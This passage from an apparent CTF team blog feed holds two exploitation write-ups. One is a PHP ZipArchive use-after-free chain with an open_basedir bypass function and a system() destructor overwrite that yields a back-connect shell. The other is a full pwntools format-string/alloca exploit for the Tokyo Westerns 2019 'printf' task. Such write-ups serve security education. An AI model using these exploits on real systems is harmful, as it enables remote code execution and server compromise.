<span class="nv">$archive</span><span class="o">-&gt;</span><span class="nf">open</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">,</span> <span class="nc">ZipArchive</span><span class="o">::</span><span class="no">CREATE</span><span class="p">);</span>

<span class="c1">// If "&lt;expression 1&gt;" produces an object with internal representation</span>
<span class="c1">// of size $size, it will be allocated on the same place where dangling</span>
<span class="c1">// ze_obj-&gt;filename points to.</span>
<span class="nv">$object1</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">expression</span> <span class="mi">1</span><span class="o">&gt;</span>

<span class="c1">// Next call will free the memory containing internal representation </span>
<span class="c1">// of $object1. However, the variable $object1 remains and we can </span>
<span class="c1">// still use it.</span>
<span class="nv">$archive</span><span class="o">-&gt;</span><span class="nf">open</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">,</span> <span class="nc">ZipArchive</span><span class="o">::</span><span class="no">CREATE</span><span class="p">);</span>

<span class="c1">// If "&lt;expression 2&gt;" again produces an object with internal </span>
<span class="c1">// representation of size $size, it will be allocated on the same place </span>
<span class="c1">// where both ze_obj-&gt;filename and internal representation</span>
<span class="c1">// of $object1 should be.</span>
<span class="nv">$object2</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">expression</span> <span class="mi">2</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>If both <code class="language-plaintext highlighter-rouge">&lt;expression 1&gt;</code> and <code class="language-plaintext highlighter-rouge">&lt;expression 2&gt;</code> produce objects with an internal representation of size <code class="language-plaintext highlighter-rouge">$size</code> we’ll have two objects, <code class="language-plaintext highlighter-rouge">$object1</code> and <code class="language-plaintext highlighter-rouge">$object2</code> whose internal representations are in the same memory region. Note that this can be completely different objects with a different meaning of fields. Also note that after the execution of the code above the memory has been initialized for holding <code class="language-plaintext highlighter-rouge">$object2</code>. This means that fields of struct holding <code class="language-plaintext highlighter-rouge">$object1</code> may have been changed.</p>

<p>What we need to do to proceed is to find which objects to use in <code class="language-plaintext highlighter-rouge">&lt;expression 1&gt;</code> and <code class="language-plaintext highlighter-rouge">&lt;expression 2&gt;</code>.</p>

<h2 id="struct-gadgets">Struct “gadgets”</h2>

<p>Let’s recap where we are so far. We need to choose two PHP objects, <code class="language-plaintext highlighter-rouge">$object1</code> and <code class="language-plaintext highlighter-rouge">$object2</code> with the same size of their internal representation (e.g., C structs). After that, we’ll use the introduced bug to make these representations be in the same memory. Thus the C structs will get corrupted, resulting in unpredictable effects which we hope to use for our benefit.</p>

<p>The choice for <code class="language-plaintext highlighter-rouge">$object1</code> is simple: just use a string. PHP strings are stored as 32-byte header struct + character bytes in C code, so they have variable size. The header contains the length of the string. PHP strings are mutable, so if we corrupt the length (making it very big if interpreted as an integer), we’ll be able to edit the whole heap region after it. Using a string for unrestricted access to memory is pretty standard in the exploitation of interpreters.</p>

<p>The value of <code class="language-plaintext highlighter-rouge">$object2</code> can be anything as long as it satisfies two conditions:</p>
<ol>
  <li>During its initialization, it writes some big integer into the offset where string’s length is stored.</li>
  <li>It doesn’t corrupt other fields of the string header struct too much, so the string remains usable.</li>
</ol>

<p>An instance of <code class="language-plaintext highlighter-rouge">StdClass</code> appears to be suitable. Its internal representation is 40 bytes long.</p>

<p>So substituting the chosen value into the plan above, we have the following:</p>

<ol>
  <li>First, we create an instance of <code class="language-plaintext highlighter-rouge">ZipArchive</code> open a file with 40-byte filename and then immediately try to open <code class="language-plaintext highlighter-rouge">/etc/passwd</code> as ZIP (it fails). The <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> is freed, but the pointer to it remains in the struct.</li>
  <li>Next, we create a string of length 8 and store it in some variable (e.g. <code class="language-plaintext highlighter-rouge">$memory_view</code>). Its internal representation is 32 + 8 = 40 byte structure which will be allocated in the same memory <code class="language-plaintext highlighter-rouge">ze_obj-&gt;filename</code> points to.</li>
  <li>We call <code class="language-plaintext highlighter-rouge">$archive-&gt;open("/etc/passwd")</code> again to free the said memory.</li>
  <li>We create an instance of <code class="language-plaintext highlighter-rouge">StdClass</code>. It will allocate 40 byte internal representation which again will be allocated in the same place. During its initialization, it will corrupt <code class="language-plaintext highlighter-rouge">$memory_view</code>’s length making it very big.</li>
</ol>

<p>Now we can read and write the whole region of PHP heap after the struct holding <code class="language-plaintext highlighter-rouge">$memory_view</code> string.</p>

<p>It is universally recognized that the best thing to edit in memory is the address of a function which is then called with an argument under your control, and the best new value for it is the address of <code class="language-plaintext highlighter-rouge">system</code>. There are plenty of objects that hold callback addresses in PHP. We’ve chosen <code class="language-plaintext highlighter-rouge">_php_conv</code> object.</p>

<p>It is an internal representation of a php filter which is constructed when you open a <code class="language-plaintext highlighter-rouge">php://filter</code> file. It contains two fields: address of convert callback and address of destructor. The destructor is called when we call <code class="language-plaintext highlighter-rouge">fclose</code> for the file. Its only argument is the pointer to <code class="language-plaintext highlighter-rouge">_php_conv</code> object itself.</p>

<p>That means that as long as we don’t use the convert callback (we never read from the file), we can just overwrite it with a command, and then we overwrite destructor with the address of libc’s <code class="language-plaintext highlighter-rouge">system</code> function. When the destructor is called the pointer <code class="language-plaintext highlighter-rouge">_php_conv</code> object will be interpreted as <code class="language-plaintext highlighter-rouge">char*</code> and the command will be executed.</p>

<p>Note that the size of a pointer is 8 bytes so we have only 7 bytes for our command (plus one terminating zero byte). It looks too small, but we can create files in the <code class="language-plaintext highlighter-rouge">/tmp/</code> directory. We just create <code class="language-plaintext highlighter-rouge">/tmp/xx</code>, put our payload there (after <code class="language-plaintext highlighter-rouge">#!/bin/sh</code>) and then chmod it allowing it to be executed. All these can be done using corresponding PHP functions, and none of them are restricted.</p>

<p>So what we do after we have huge <code class="language-plaintext highlighter-rouge">$memory_view</code> string is this:</p>
<ol>
  <li>We run <code class="language-plaintext highlighter-rouge">$f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd");</code> and <code class="language-plaintext highlighter-rouge">_php_conv</code> is created somewhere in the PHP’s heap.</li>
  <li>We search the memory for two successive addresses pointing to <code class="language-plaintext highlighter-rouge">libphp8.so</code> (it is the library where all PHP interpreter’s code lies). When we find it, we assume that we’ve found the <code class="language-plaintext highlighter-rouge">_php_conv</code> object.</li>
  <li>We write <code class="language-plaintext highlighter-rouge">/tmp/xx</code> instead of the first pointer (unneeded convert callback) and change the second pointer (which is destructor) to address of <code class="language-plaintext highlighter-rouge">system</code>.</li>
  <li>We use <code class="language-plaintext highlighter-rouge">fclose($f),</code> and the destructor is called. As we changed its address to <code class="language-plaintext highlighter-rouge">system</code>, the command is executed.</li>
</ol>

<p>To follow the plan above, we need two things:</p>
<ol>
  <li>The address range of <code class="language-plaintext highlighter-rouge">libphp8.so</code> so we can detect the filter’s struct in the memory.</li>
  <li>The address of <code class="language-plaintext highlighter-rouge">libc.so</code> so we can get the address of <code class="language-plaintext highlighter-rouge">system</code>.</li>
</ol>

<p>To get these addresses, we need to read <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> file, which contains the whole memory layout of the process.</p>

<h2 id="open_basedir-bypass">open_basedir bypass</h2>

<p>It looks like we’re back to web exploitation. Bypass a PHP restriction and read a local file, what can be sweeter!</p>

<p>Well, one thing that is even more joyful for my script kiddie’s heart is that to achieve this goal we need just to copy-paste a ready-made exploit from one of the past competitions (namely TCTF finals). Here it is:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="n">bypass_openbasedir</span><span class="p">()</span> <span class="p">{</span>
    <span class="nb">chdir</span><span class="p">(</span><span class="s2">"/tmp"</span><span class="p">);</span>
    <span class="nb">mkdir</span><span class="p">(</span><span class="s2">"posos"</span><span class="p">);</span>
    <span class="nb">chdir</span><span class="p">(</span><span class="s2">"posos"</span><span class="p">);</span>
    <span class="nb">ini_set</span><span class="p">(</span><span class="s2">"open_basedir"</span><span class="p">,</span> <span class="s2">".."</span><span class="p">);</span>
    <span class="nb">ini_get</span><span class="p">(</span><span class="s2">"open_basedir"</span><span class="p">);</span>
    <span class="nb">chdir</span><span class="p">(</span><span class="s2">".."</span><span class="p">);</span>
    <span class="nb">chdir</span><span class="p">(</span><span class="s2">".."</span><span class="p">);</span>
    <span class="nb">ini_set</span><span class="p">(</span><span class="s2">"open_basedir"</span><span class="p">,</span> <span class="s2">"/"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nb">ini_get</span><span class="p">(</span><span class="s2">"open_basedir"</span><span class="p">)</span> <span class="o">!=</span> <span class="s2">"/"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"open_basedir bypass failed"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s go through this function.</p>

<ol>
  <li>We change the current directory to <code class="language-plaintext highlighter-rouge">/tmp</code>. It is allowed as <code class="language-plaintext highlighter-rouge">/tmp</code> is contained in initial <code class="language-plaintext highlighter-rouge">open_basedir</code> value (which is <code class="language-plaintext highlighter-rouge">/tmp:/var/www/html</code>).</li>
  <li>We create a directory named <code class="language-plaintext highlighter-rouge">posos</code> and go inside it, which is still totally legitimate.</li>
  <li>Now we change <code class="language-plaintext highlighter-rouge">open_basedir</code> setting to <code class="language-plaintext highlighter-rouge">..</code>. One can change <code class="language-plaintext highlighter-rouge">open_basedir</code> in runtime as long as the new value is more restrictive than the old one (not less restrictive to be exact). In this case PHP thinks like “Well, currently <code class="language-plaintext highlighter-rouge">open_basedir</code> is <code class="language-plaintext highlighter-rouge">/tmp:/var/www/html</code> and new value is <code class="language-plaintext highlighter-rouge">..</code> which resolves to <code class="language-plaintext highlighter-rouge">/tmp</code>. The new value doesn’t allow new things to be accessed, so I accept it”. Poor creature.</li>
  <li>We execute <code class="language-plaintext highlighter-rouge">chdir("..")</code> twice. Both times PHP thinks like “<code class="language-plaintext highlighter-rouge">open_basedir</code> is equal to <code class="language-plaintext highlighter-rouge">..</code> and new path <code class="language-plaintext highlighter-rouge">..</code> is under it, so allow”. Now our current directory is <code class="language-plaintext highlighter-rouge">/</code>.</li>
  <li>We change <code class="language-plaintext highlighter-rouge">open_basedir</code> again, to <code class="language-plaintext highlighter-rouge">/</code>. As it was <code class="language-plaintext highlighter-rouge">..</code> and our current directory is <code class="language-plaintext highlighter-rouge">/</code> PHP accepts it again.</li>
</ol>

<p>So <code class="language-plaintext highlighter-rouge">open_basedir</code> bypassed, and now we can read any file we please.</p>

<h2 id="exploit-recap">Exploit recap</h2>

<p>Now we have all we need to build our exploit.</p>

<ol>
  <li>First, we bypass <code class="language-plaintext highlighter-rouge">open_basedir</code> using the function above.</li>
  <li>Now we can parse <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> and get address ranges of libc and libphp, defeating ASLR. Then we calculate the offset of the <code class="language-plaintext highlighter-rouge">system</code> function inside <code class="language-plaintext highlighter-rouge">libc</code> and store it into a variable.</li>
  <li>Another preparation step is to put commands we want to execute into <code class="language-plaintext highlighter-rouge">/tmp/xx</code> file and run chmod on it.</li>
  <li>Now we’re ready for the exploitation. We create a <code class="language-plaintext highlighter-rouge">ZipArchive</code> instance, open a file with a 40-byte name and then immediately try to open an invalid ZIP archive, resulting in <code class="language-plaintext highlighter-rouge">efree</code> being called for the file name. We put an 8-character PHP string in the <code class="language-plaintext highlighter-rouge">$memory_view</code> variable and then again try to open an invalid archive. After that we call <code class="language-plaintext highlighter-rouge">new StdClass()</code> and it is allocated in the same memory. The string <code class="language-plaintext highlighter-rouge">$memory_view</code> has an insanely huge length now, allowing us to read and write PHP heap.</li>
  <li>We execute <code class="language-plaintext highlighter-rouge">$f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd");</code> and <code class="language-plaintext highlighter-rouge">_php_conv</code> is created. We use the <code class="language-plaintext highlighter-rouge">$memory_view</code> variable to find it in memory — that is, to find two successive addresses from the libphp address range we obtained earlier.</li>
  <li>We call <code class="language-plaintext highlighter-rouge">fclose($f)</code> and destructor is called. This results in our script <code class="language-plaintext highlighter-rouge">/tmp/xx</code> being executed.</li>
  <li>After we get our back-connect shell, we run <code class="language-plaintext highlighter-rouge">/readflag</code>. It gives us a simple challenge we need to solve, and then it prints the flag.</li>
</ol>

<p>The exploit can be found at https://gist.github.com/neex/13378d0e7e9f9ab0cff9d9039178d15f.</p>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/prism.min.js" crossorigin="anonymous" integrity="sha384-YskgLFElT4+kh2Q2AgU/TwVMfT6h6AF7KfA3ohd457FfvHJtCkUXKVYWmhBVQQWE"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-c.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-php.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/components/prism-diff.min.js"></script>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.9.0/themes/prism.min.css" crossorigin="anonymous" integrity="sha384-96FMAcvTHMLB8mZZaXH06yPehGxX3T0Ua5rIVU/R+JJDdEjYiyJe4gJ/Sf7uLDbv" />]]></content><author><name>[&quot;emil&quot;]</name></author></entry><entry><title type="html">printf write-up (Tokyo Westerns CTF 2019)</title><link href="http://0.0.0.0:4000/tokyo2019-printf/" rel="alternate" type="text/html" title="printf write-up (Tokyo Westerns CTF 2019)" /><published>2019-09-06T21:31:00+03:00</published><updated>2019-09-06T21:31:00+03:00</updated><id>http://0.0.0.0:4000/tokyo2019-printf</id><content type="html" xml:base="http://0.0.0.0:4000/tokyo2019-printf/"><![CDATA[<p>printf was a pretty typical pwn task: you get binary, libc, network address, and you have to gain an RCE. The vulnerability is an unsafe <code class="language-plaintext highlighter-rouge">alloca</code> which allows one to cross the gap between stack and libraries.</p>

<h2 id="binary">Binary</h2>

<p>The gist of the <code class="language-plaintext highlighter-rouge">main</code> function is as follows:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="n">my_printf</span><span class="p">(</span><span class="s">"What's your name?"</span><span class="p">);</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x100uLL</span><span class="p">);</span>
<span class="n">buf</span><span class="p">[</span><span class="n">v5</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">v5</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">isprint</span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
    <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">my_printf</span><span class="p">(</span><span class="s">"Hi, "</span><span class="p">);</span>
<span class="n">my_printf</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="n">my_printf</span><span class="p">(</span><span class="s">"Do you leave a comment?"</span><span class="p">);</span>
<span class="n">buf</span><span class="p">[(</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="n">__int64</span><span class="p">)</span><span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x100uLL</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">my_printf</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">printf</code> is called twice with fully controllable format argument. The first time the string is restricted to printable characters, and the second time there’re no restrictions.</p>

<p>Any CTF veteran knows that it looks like a classic format string bug, which are now relatively rare compared to heap tasks :).</p>

<p>Obviously, you can leak stack variables using the <code class="language-plaintext highlighter-rouge">%lx|%lx|%lx|...</code> format string. That defeats ASLR of stack, libc and binary itself.</p>

<p>However, the <code class="language-plaintext highlighter-rouge">printf</code> implementation is custom. It lacks <code class="language-plaintext highlighter-rouge">%n</code> specifier, and have some unusual bugs instead.</p>

<p>It prints the string in two passes. In the first pass, it calculates the string length, and allocates the buffer with <code class="language-plaintext highlighter-rouge">alloca</code>. During the second pass, the data is printed to the buffer, and then the buffer is written out with <code class="language-plaintext highlighter-rouge">puts</code>.</p>

<p>The bug is that the argument of <code class="language-plaintext highlighter-rouge">alloca</code> is unchecked. <code class="language-plaintext highlighter-rouge">alloca</code> compiles to <code class="language-plaintext highlighter-rouge">sub rsp, rax</code> without any checks whatsoever. We can’t make the length negative, as it’s thoroughly checked. But by specifying large width (e.g. <code class="language-plaintext highlighter-rouge">%980794739896d</code>) we can make it very large so the stack pointer crosses the unmapped gap between the stack and libc.</p>

<p>This might seem to be non-exploitable, as the function will crash when attempting to fill the entire gap between libc and stack with data. Not to mention that it will corrupt much more data than we want during the write to libc.</p>

<p>Fortunately, the implemenation of width specifier is buggy, as it effectively ignored during the second pass:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v27</span> <span class="o">=</span> <span class="n">number_of_digits</span><span class="p">(</span><span class="o">&amp;</span><span class="n">fmt_</span><span class="p">[</span><span class="n">i_fmt</span><span class="p">]);</span>
<span class="n">i_fmt</span> <span class="o">+=</span> <span class="n">v27</span><span class="p">;</span>
<span class="n">v55</span><span class="p">.</span><span class="n">width</span> <span class="o">=</span> <span class="n">my_atoi</span><span class="p">(</span><span class="o">&amp;</span><span class="n">fmt_</span><span class="p">[</span><span class="n">i_fmt</span><span class="p">]);</span>
</code></pre></div></div>

<p>Here <code class="language-plaintext highlighter-rouge">i_fmt</code> should’ve been incremented <em>after</em> the <code class="language-plaintext highlighter-rouge">atoi</code>. The way it’s written, however, the string that follows the width is interpreted as integer instead. What follows the integer is not an integer, so <code class="language-plaintext highlighter-rouge">atoi</code> returns zero.</p>

<h2 id="exploitation">Exploitation</h2>

<p>How to exploit this, though?</p>

<p>The glibc is Ubuntu GLIBC 2.29-0ubuntu2, which corresponds to Ubuntu 19.04, which is very new.</p>

<p>So there’s no easy way to overwrite things like <code class="language-plaintext highlighter-rouge">atexit</code> handlers, stdout virtual table, etc., as they’re either mangled or checked.</p>

<p>For example, here’s IO table being write-protected on my system:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; p ((struct _IO_FILE_plus*)stdout)-&gt;vtable
$8 = (const struct _IO_jump_t *) 0x7ffff7dcd360 &lt;_IO_file_jumps&gt;
pwndbg&gt; p _IO_file_jumps
$9 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a8aba0 &lt;_IO_new_file_finish&gt;, 
  __overflow = 0x7ffff7a8b700 &lt;_IO_new_file_overflow&gt;, 
  __underflow = 0x7ffff7a8b400 &lt;_IO_new_file_underflow&gt;, 
  __uflow = 0x7ffff7a8c8e0 &lt;__GI__IO_default_uflow&gt;, 
  __pbackfail = 0x7ffff7a8e0e0 &lt;__GI__IO_default_pbackfail&gt;, 
  __xsputn = 0x7ffff7a8a6e0 &lt;_IO_new_file_xsputn&gt;, 
  __xsgetn = 0x7ffff7a8a200 &lt;__GI__IO_file_xsgetn&gt;, 
  __seekoff = 0x7ffff7a899e0 &lt;_IO_new_file_seekoff&gt;, 
  __seekpos = 0x7ffff7a8cd60 &lt;_IO_default_seekpos&gt;, 
  __setbuf = 0x7ffff7a89140 &lt;_IO_new_file_setbuf&gt;, 
  __sync = 0x7ffff7a88fe0 &lt;_IO_new_file_sync&gt;, 
  __doallocate = 0x7ffff7a7b9a0 &lt;__GI__IO_file_doallocate&gt;, 
  __read = 0x7ffff7a8a680 &lt;__GI__IO_file_read&gt;, 
  __write = 0x7ffff7a89ff0 &lt;_IO_new_file_write&gt;, 
  __seek = 0x7ffff7a89680 &lt;__GI__IO_file_seek&gt;, 
  __close = 0x7ffff7a89100 &lt;__GI__IO_file_close&gt;, 
  __stat = 0x7ffff7a89fb0 &lt;__GI__IO_file_stat&gt;, 
  __showmanyc = 0x7ffff7a8e340 &lt;_IO_default_showmanyc&gt;, 
  __imbue = 0x7ffff7a8e380 &lt;_IO_default_imbue&gt;
}
pwndbg&gt; vmmap 0x7ffff7dcd360
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7dcc000     0x7ffff7dd0000 r--p     4000 1c2000 /lib64/libc-2.29.so
</code></pre></div></div>

<p>But let’s re-check the binary provided with the task, <em>just in case</em>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; p &amp;_IO_file_jumps
$1 = (&lt;data variable, no debug info&gt; *) 0x7ffff7fc0560 &lt;_IO_file_jumps&gt;
pwndbg&gt; vmmap  0x7ffff7fc0560
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7fbe000     0x7ffff7fc1000 rw-p     3000 1e3000 /home/wgh/ctf/tokyowesterns2019/printf/libc.so.6
</code></pre></div></div>

<p>Wait, what, what, what? Why is default <code class="language-plaintext highlighter-rouge">FILE *</code> vtable is writable here? This’s supposed to be fixed a long time ago. Honestly, I have no idea why it happened. The checksum corresponds to the correct Ubuntu package, we’re not dealing with custom build glibc. I don’t have an answer.</p>

<p>Anyway, we can overwrite some stdout function pointers and gain RIP control when <code class="language-plaintext highlighter-rouge">puts</code> is called. As usual, one-gadget-RCE can be employed.</p>

<p>The exploit is somewhat unstable locally, but works better when run against the remote server (probably due to different stack layout regarding environment variables, as it happens relatively often).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python2
</span>
<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">LOCAL</span> <span class="o">=</span> <span class="bp">False</span>
<span class="c1">#LOCAL = True
</span>
<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="s">"./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>

<span class="n">libc_start_main_leak_offset</span> <span class="o">=</span> <span class="mi">7019</span> <span class="o">+</span> <span class="mh">0x25000</span>
<span class="n">libc_filejumps_underflow_offset</span> <span class="o">=</span> <span class="mi">9600</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"libc.so.6"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">LOCAL</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">"./ld-linux-x86-64.so.2"</span><span class="p">,</span> <span class="s">"--library-path"</span><span class="p">,</span> <span class="s">"."</span><span class="p">,</span> <span class="s">"./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"</span><span class="p">])</span>
<span class="k">else</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"printf.chal.ctf.westerns.tokyo"</span><span class="p">,</span> <span class="mi">10001</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_payload1</span><span class="p">():</span>
    <span class="n">res</span> <span class="o">=</span> <span class="s">" "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">"%lx"</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">64</span><span class="p">))</span>
    <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">res</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">255</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"What's your name?"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">get_payload1</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Hi, "</span><span class="p">)</span>
<span class="n">leaks</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Do you leave a comment?"</span><span class="p">,</span> <span class="n">drop</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">leaks</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">()]</span>

<span class="n">offset_info</span> <span class="o">=</span> <span class="p">{</span>
    <span class="mi">40</span><span class="p">:</span> <span class="s">"main (canary)"</span><span class="p">,</span>
    <span class="mi">41</span><span class="p">:</span> <span class="s">"main (RBP)"</span><span class="p">,</span>
    <span class="mi">42</span><span class="p">:</span> <span class="s">"main RA (__libc_start_main)"</span><span class="p">,</span>
<span class="p">}</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">addr</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">leaks</span><span class="p">):</span>
    <span class="n">extra</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">offset_info</span><span class="p">:</span>
        <span class="n">extra</span> <span class="o">=</span> <span class="s">" %s"</span> <span class="o">%</span> <span class="n">offset_info</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>

    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%d: 0x%016x%s"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">extra</span><span class="p">)</span>

<span class="n">leaked_canary</span> <span class="o">=</span> <span class="n">leaks</span><span class="p">[</span><span class="mi">40</span><span class="p">]</span>
<span class="n">leaked_libc</span> <span class="o">=</span> <span class="n">leaks</span><span class="p">[</span><span class="mi">42</span><span class="p">]</span> <span class="o">-</span> <span class="n">libc_start_main_leak_offset</span>
<span class="n">main_buf</span> <span class="o">=</span> <span class="n">leaks</span><span class="p">[</span><span class="mi">39</span><span class="p">]</span> <span class="o">-</span> <span class="mi">496</span> <span class="o">+</span> <span class="mi">8</span>

<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"canary: 0x%016x"</span><span class="p">,</span> <span class="n">leaked_canary</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"libc base: 0x%016x"</span><span class="p">,</span> <span class="n">leaked_libc</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"main_buf: 0x%016x"</span><span class="p">,</span> <span class="n">main_buf</span><span class="p">)</span>

<span class="c1">#gdb.attach(p, """
#    breakrva 0x1C85 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#    breakrva 0x1C97 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#
#    b system
#""")
</span>
<span class="n">desired_address</span> <span class="o">=</span> <span class="n">leaked_libc</span> <span class="o">+</span> <span class="mh">0x1e6588</span> <span class="o">-</span> <span class="mh">0x10</span>

<span class="n">one_gadget</span> <span class="o">=</span> <span class="n">leaked_libc</span> <span class="o">+</span> <span class="mh">0x106ef8</span>
<span class="c1">#one_gadget = leaked_libc + libc.sym["system"]
</span><span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"one_gadget=0x%016x"</span><span class="p">,</span> <span class="n">one_gadget</span><span class="p">)</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"%{}d"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">main_buf</span> <span class="o">-</span> <span class="mi">416</span> <span class="o">-</span> <span class="n">desired_address</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x10</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">one_gadget</span><span class="p">).</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"len(payload)=%d"</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

